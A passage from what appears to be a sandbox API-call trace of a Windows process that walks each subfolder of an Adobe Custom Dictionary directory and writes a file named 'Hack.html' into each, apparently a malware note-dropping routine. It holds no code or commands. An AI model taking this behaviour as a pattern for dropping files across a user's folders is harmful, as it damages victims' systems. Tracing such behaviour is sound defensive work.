Dictionary\\frn\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\frn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.060] GetFileType (hFile=0x174) returned 0x1 [0078.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.060] GetFileType (hFile=0x174) returned 0x1 [0078.061] WriteFile (in: hFile=0x174, lpBuffer=0x2815ff4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x2815ff4*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.061] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm", lpFilePart=0x0) returned 0x69 [0078.062] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\", lpFilePart=0x0) returned 0x6a [0078.062] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.062] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.062] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.062] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.062] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm", lpFilePart=0x0) returned 0x69 [0078.062] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\", lpFilePart=0x0) returned 0x6a [0078.062] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.062] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.062] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.063] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.063] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.063] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\grm\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.063] GetFileType (hFile=0x174) returned 0x1 [0078.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.063] GetFileType (hFile=0x174) returned 0x1 [0078.063] WriteFile (in: hFile=0x174, lpBuffer=0x281a850*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x281a850*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.064] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl", lpFilePart=0x0) returned 0x69 [0078.064] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\", lpFilePart=0x0) returned 0x6a [0078.064] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.065] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.065] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.065] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.065] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl", lpFilePart=0x0) returned 0x69 [0078.065] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\", lpFilePart=0x0) returned 0x6a [0078.065] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.065] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.065] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.066] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.066] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\itl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.066] GetFileType (hFile=0x174) returned 0x1 [0078.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.066] GetFileType (hFile=0x174) returned 0x1 [0078.066] WriteFile (in: hFile=0x174, lpBuffer=0x281f0ac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x281f0ac*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.068] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw", lpFilePart=0x0) returned 0x69 [0078.068] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\", lpFilePart=0x0) returned 0x6a [0078.068] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.068] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.068] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.068] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.068] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw", lpFilePart=0x0) returned 0x69 [0078.068] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\", lpFilePart=0x0) returned 0x6a [0078.068] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.069] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.069] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.069] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.069] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.069] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\nrw\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.069] GetFileType (hFile=0x174) returned 0x1 [0078.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.069] GetFileType (hFile=0x174) returned 0x1 [0078.070] WriteFile (in: hFile=0x174, lpBuffer=0x2823908*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x2823908*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.071] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt", lpFilePart=0x0) returned 0x69 [0078.071] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\", lpFilePart=0x0) returned 0x6a [0078.071] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.071] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.071] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.071] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.071] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt", lpFilePart=0x0) returned 0x69 [0078.071] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\", lpFilePart=0x0) returned 0x6a [0078.071] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.071] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.071] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.072] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.072] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\prt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.072] GetFileType (hFile=0x174) returned 0x1 [0078.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.072] GetFileType (hFile=0x174) returned 0x1 [0078.072] WriteFile (in: hFile=0x174, lpBuffer=0x2828164*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x2828164*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.073] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn", lpFilePart=0x0) returned 0x69 [0078.073] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\", lpFilePart=0x0) returned 0x6a [0078.073] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.073] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.074] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.074] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.074] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn", lpFilePart=0x0) returned 0x69 [0078.074] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\", lpFilePart=0x0) returned 0x6a [0078.074] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.074] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.074] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.074] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.074] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\spn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.075] GetFileType (hFile=0x174) returned 0x1 [0078.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.075] GetFileType (hFile=0x174) returned 0x1 [0078.075] WriteFile (in: hFile=0x174, lpBuffer=0x282c9c0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x282c9c0*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd", lpFilePart=0x0) returned 0x69 [0078.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\", lpFilePart=0x0) returned 0x6a [0078.076] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.077] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: 